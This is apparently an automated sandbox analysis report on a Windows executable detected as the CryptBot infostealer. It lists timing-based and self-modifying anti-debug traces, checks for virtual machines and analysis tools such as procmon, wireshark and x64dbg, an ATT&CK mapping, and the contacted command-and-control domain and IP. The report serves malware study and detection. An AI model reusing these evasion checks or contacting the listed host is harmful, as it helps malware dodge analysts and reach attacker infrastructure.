Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73203CF second address: 73203D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73203D3 second address: 73203D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73203D7 second address: 7320413 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007FFA10F442BAh 0x0000000e jmp 00007FF9A139226Ah 0x00000013 pop edi 0x00000014 pushad 0x00000015 call 00007FF9A139226Eh 0x0000001a mov di, cx 0x0000001d pop ecx 0x0000001e mov edi, 2D4445F2h 0x00000023 popad 0x00000024 pop esi 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 push esi 0x00000029 pop edx 0x0000002a movzx ecx, dx 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7320413 second address: 7320426 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF9A052A48Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7320426 second address: 7320435 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7320435 second address: 732043B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 732043B second address: 7320476 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A1392279h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esp, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF9A1392278h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7320476 second address: 7320485 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A48Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73501FB second address: 73501FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73501FF second address: 735021B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A498h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 735021B second address: 7350231 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 push esi 0x00000007 pop edx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov dx, CAA4h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7350231 second address: 7350262 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, 93h 0x00000005 mov ecx, ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FF9A052A48Ch 0x00000010 xchg eax, ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FF9A052A497h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7350262 second address: 7350269 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, bh 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73407B4 second address: 73407B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73407B8 second address: 73407D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A1392276h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7350429 second address: 735042D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 735042D second address: 7350433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73504FF second address: 735050F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF9A052A48Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73B097F second address: 73B0983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73B0983 second address: 73B0989 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73B0989 second address: 73B09BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, si 0x00000006 pushfd 0x00000007 jmp 00007FF9A139226Eh 0x0000000c sub eax, 5BCC87C8h 0x00000012 jmp 00007FF9A139226Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b and dl, 00000007h 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 mov dh, 6Eh 0x00000023 mov edi, ecx 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73B09BE second address: 73B0AB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A499h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FF9A052A493h 0x00000012 sbb ah, 0000001Eh 0x00000015 jmp 00007FF9A052A499h 0x0000001a popfd 0x0000001b popad 0x0000001c je 00007FFA1006FC68h 0x00000022 jmp 00007FF9A052A48Eh 0x00000027 sub ecx, ecx 0x00000029 jmp 00007FF9A052A491h 0x0000002e inc ecx 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007FF9A052A48Ch 0x00000036 sub esi, 08A2FC78h 0x0000003c jmp 00007FF9A052A48Bh 0x00000041 popfd 0x00000042 pushfd 0x00000043 jmp 00007FF9A052A498h 0x00000048 sub cx, 16D8h 0x0000004d jmp 00007FF9A052A48Bh 0x00000052 popfd 0x00000053 popad 0x00000054 shr eax, 1 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 mov di, 3FC6h 0x0000005d pushfd 0x0000005e jmp 00007FF9A052A497h 0x00000063 jmp 00007FF9A052A493h 0x00000068 popfd 0x00000069 popad 0x0000006a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73B0AB9 second address: 73B0ABF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73B0ABF second address: 73B0AC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73B0AC3 second address: 73B0AC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7390CB9 second address: 7390CBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7390CBD second address: 7390CC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73A040E second address: 73A0415 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73A0415 second address: 73A04A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a call 00007FF9A1392273h 0x0000000f pop eax 0x00000010 push ebx 0x00000011 pop esi 0x00000012 popad 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 pushad 0x00000016 pushad 0x00000017 call 00007FF9A1392277h 0x0000001c pop esi 0x0000001d mov di, 67BCh 0x00000021 popad 0x00000022 popad 0x00000023 mov ebp, esp 0x00000025 jmp 00007FF9A139226Eh 0x0000002a xchg eax, ebx 0x0000002b pushad 0x0000002c movzx eax, di 0x0000002f jmp 00007FF9A1392273h 0x00000034 popad 0x00000035 push eax 0x00000036 jmp 00007FF9A1392279h 0x0000003b xchg eax, ebx 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73A04A1 second address: 73A04A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73A04A5 second address: 73A0564 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF9A1392278h 0x00000008 adc cx, AAC8h 0x0000000d jmp 00007FF9A139226Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov ch, 58h 0x00000017 popad 0x00000018 push esi 0x00000019 pushad 0x0000001a movzx eax, di 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 mov ah, dh 0x00000022 popad 0x00000023 popad 0x00000024 mov dword ptr [esp], esi 0x00000027 jmp 00007FF9A139226Eh 0x0000002c mov esi, dword ptr [ebp+08h] 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007FF9A139226Eh 0x00000036 adc ah, FFFFFF88h 0x00000039 jmp 00007FF9A139226Bh 0x0000003e popfd 0x0000003f call 00007FF9A1392278h 0x00000044 push esi 0x00000045 pop ebx 0x00000046 pop esi 0x00000047 popad 0x00000048 mov ecx, 00000000h 0x0000004d jmp 00007FF9A139226Ah 0x00000052 xchg eax, edi 0x00000053 pushad 0x00000054 mov si, BDADh 0x00000058 call 00007FF9A139226Ah 0x0000005d pushad 0x0000005e popad 0x0000005f pop ecx 0x00000060 popad 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007FF9A139226Dh 0x00000069 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73A0564 second address: 73A05D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A491h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007FF9A052A48Eh 0x0000000f mov eax, 00000001h 0x00000014 pushad 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FF9A052A48Ch 0x0000001c add ecx, 1F100908h 0x00000022 jmp 00007FF9A052A48Bh 0x00000027 popfd 0x00000028 movzx eax, di 0x0000002b popad 0x0000002c push edi 0x0000002d mov ax, 0377h 0x00000031 pop esi 0x00000032 popad 0x00000033 lock cmpxchg dword ptr [esi], ecx 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a push ecx 0x0000003b pop ebx 0x0000003c jmp 00007FF9A052A490h 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73A05D3 second address: 73A05F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 502C2C44h 0x00000008 mov si, di 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ecx, eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF9A1392271h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73A05F8 second address: 73A060D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A491h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73A060D second address: 73A067D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF9A1392277h 0x00000009 or esi, 39C4516Eh 0x0000000f jmp 00007FF9A1392279h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 cmp ecx, 01h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FF9A1392276h 0x00000024 and ecx, 30848818h 0x0000002a jmp 00007FF9A139226Bh 0x0000002f popfd 0x00000030 mov edi, ecx 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73A067D second address: 73A06C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A495h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FFA1005C3BEh 0x0000000f jmp 00007FF9A052A48Eh 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FF9A052A497h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73A06C4 second address: 73A06CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73A06CA second address: 73A06CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73A06CE second address: 73A0706 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 jmp 00007FF9A1392277h 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FF9A1392275h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 737018E second address: 7370196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edx, ax 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7370196 second address: 737019C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 737019C second address: 73701A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73701A0 second address: 7370226 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A139226Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FF9A139226Eh 0x00000011 push eax 0x00000012 pushad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 mov bl, C3h 0x00000018 popad 0x00000019 pushfd 0x0000001a jmp 00007FF9A1392276h 0x0000001f sub esi, 696783F8h 0x00000025 jmp 00007FF9A139226Bh 0x0000002a popfd 0x0000002b popad 0x0000002c xchg eax, ebp 0x0000002d jmp 00007FF9A1392276h 0x00000032 mov ebp, esp 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007FF9A1392277h 0x0000003b rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSpecial instruction interceptor: First address: CF19ED instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSpecial instruction interceptor: First address: CF1ACF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSpecial instruction interceptor: First address: E8E9DB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSpecial instruction interceptor: First address: EB9FC5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSpecial instruction interceptor: First address: EA2DDD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSpecial instruction interceptor: First address: F1CFE6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRegistry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDescJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersionJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersionJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_007F9980 rdtsc 0_2_007F9980
Source: C:\Users\user\Desktop\e62iSl0abZ.exe TID: 6176Thread sleep time: -30000s >= -30000sJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_0061255D GetSystemInfo,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,KiUserCallbackDispatcher,SHGetKnownFolderPath,FindFirstFileW,FindNextFileW,K32EnumProcesses,0_2_0061255D
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_006129FF FindFirstFileA,RegOpenKeyExA,CharUpperA,CreateToolhelp32Snapshot,QueryFullProcessImageNameA,CloseHandle,CreateToolhelp32Snapshot,CloseHandle,0_2_006129FF
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_0061255D GetSystemInfo,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,KiUserCallbackDispatcher,SHGetKnownFolderPath,FindFirstFileW,FindNextFileW,K32EnumProcesses,0_2_0061255D
Source: e62iSl0abZ.exe, e62iSl0abZ.exe, 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: e62iSl0abZ.exe, 00000000.00000003.1695678293.00000000075C0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: e62iSl0abZ.exeBinary or memory string: Hyper-V RAW
Source: e62iSl0abZ.exe, 00000000.00000003.1695678293.00000000075C0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\*recent_filesprocessesuptime_minutesC:\Windows\System32\VBox*.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: e62iSl0abZ.exe, 00000000.00000002.1796900512.0000000001BC4000.00000004.00000020.00020000.00000000.sdmp, e62iSl0abZ.exe, 00000000.00000003.1785146452.0000000001BBD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllZmqK
Source: e62iSl0abZ.exe, 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSystem information queried: ModuleInformationJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeProcess information queried: ProcessInformationJump to behavior

Anti Debugging

barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\e62iSl0abZ.exeThread information set: HideFromDebuggerJump to behavior
Potentially malicious time measurement code found
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_07340AB9 Start: 07340E67 End: 07340B4B0_2_07340AB9
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\Desktop\e62iSl0abZ.exeOpen window title or class name: regmonclass
Source: C:\Users\user\Desktop\e62iSl0abZ.exeOpen window title or class name: gbdyllo
Source: C:\Users\user\Desktop\e62iSl0abZ.exeOpen window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\e62iSl0abZ.exeOpen window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\e62iSl0abZ.exeOpen window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\e62iSl0abZ.exeOpen window title or class name: ollydbg
Source: C:\Users\user\Desktop\e62iSl0abZ.exeOpen window title or class name: filemonclass
Source: C:\Users\user\Desktop\e62iSl0abZ.exeOpen window title or class name: file monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\e62iSl0abZ.exeFile opened: NTICE
Source: C:\Users\user\Desktop\e62iSl0abZ.exeFile opened: SICE
Source: C:\Users\user\Desktop\e62iSl0abZ.exeFile opened: SIWVID
Source: C:\Users\user\Desktop\e62iSl0abZ.exeProcess queried: DebugPortJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeProcess queried: DebugPortJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeProcess queried: DebugPortJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_007F9980 rdtsc 0_2_007F9980
Source: e62iSl0abZ.exe, e62iSl0abZ.exe, 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: Program Manager
Source: C:\Users\user\Desktop\e62iSl0abZ.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
Source: e62iSl0abZ.exe, 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, e62iSl0abZ.exe, 00000000.00000003.1695678293.00000000075C0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: procmon.exe
Source: e62iSl0abZ.exe, 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, e62iSl0abZ.exe, 00000000.00000003.1695678293.00000000075C0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: wireshark.exe

Stealing of Sensitive Information

barindex
Infostealer behavior detected
Source: Signature ResultsSignatures: Mutex created, HTTP post and idle behavior
Leaks process information
Source: global trafficTCP traffic: 192.168.2.4:49732 -> 81.29.149.125:80

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid Accounts2
Command and Scripting Interpreter		1
DLL Side-Loading		1
Process Injection		24
Virtualization/Sandbox Evasion		OS Credential Dumping751
Security Software Discovery		Remote Services11
Archive Collected Data		11
Encrypted Channel		Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization Scripts1
DLL Side-Loading		1
Process Injection		LSASS Memory24
Virtualization/Sandbox Evasion		Remote Desktop Protocol1
Data from Local System		2
Ingress Tool Transfer		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)1
Deobfuscate/Decode Files or Information		Security Account Manager13
Process Discovery		SMB/Windows Admin SharesData from Network Shared Drive3
Non-Application Layer Protocol		Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook4
Obfuscated Files or Information		NTDS1
Remote System Discovery		Distributed Component Object ModelInput Capture4
Application Layer Protocol		Traffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script12
Software Packing		LSA Secrets1
File and Directory Discovery		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
DLL Side-Loading		Cached Domain Credentials216
System Information Discovery		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
e62iSl0abZ.exe36%VirustotalBrowse
e62iSl0abZ.exe66%ReversingLabsWin32.Trojan.CryptBot
e62iSl0abZ.exe100%AviraTR/Crypt.TPM.Gen
e62iSl0abZ.exe100%Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF173518686235a10%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
home.fiveth5ht.top
81.29.149.125
truefalse
    		high
    httpbin.org
    		3.218.7.103
    		truefalse
      		high

      Contacted URLs

      NameMaliciousAntivirus DetectionReputation
      http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862false
        		high
        https://httpbin.org/ipfalse
          		high

          URLs from Memory and Binaries

          NameSourceMaliciousAntivirus DetectionReputation
          https://curl.se/docs/hsts.htmle62iSl0abZ.exe, 00000000.00000003.1695678293.00000000075C0000.00000004.00001000.00020000.00000000.sdmpfalse
            		high
            http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF17e62iSl0abZ.exe, 00000000.00000003.1695678293.00000000075C0000.00000004.00001000.00020000.00000000.sdmpfalse
              		high
              http://html4/loose.dtde62iSl0abZ.exe, 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, e62iSl0abZ.exe, 00000000.00000003.1695678293.00000000075C0000.00000004.00001000.00020000.00000000.sdmpfalse
                		high
                https://curl.se/docs/alt-svc.html#e62iSl0abZ.exefalse
                  		high
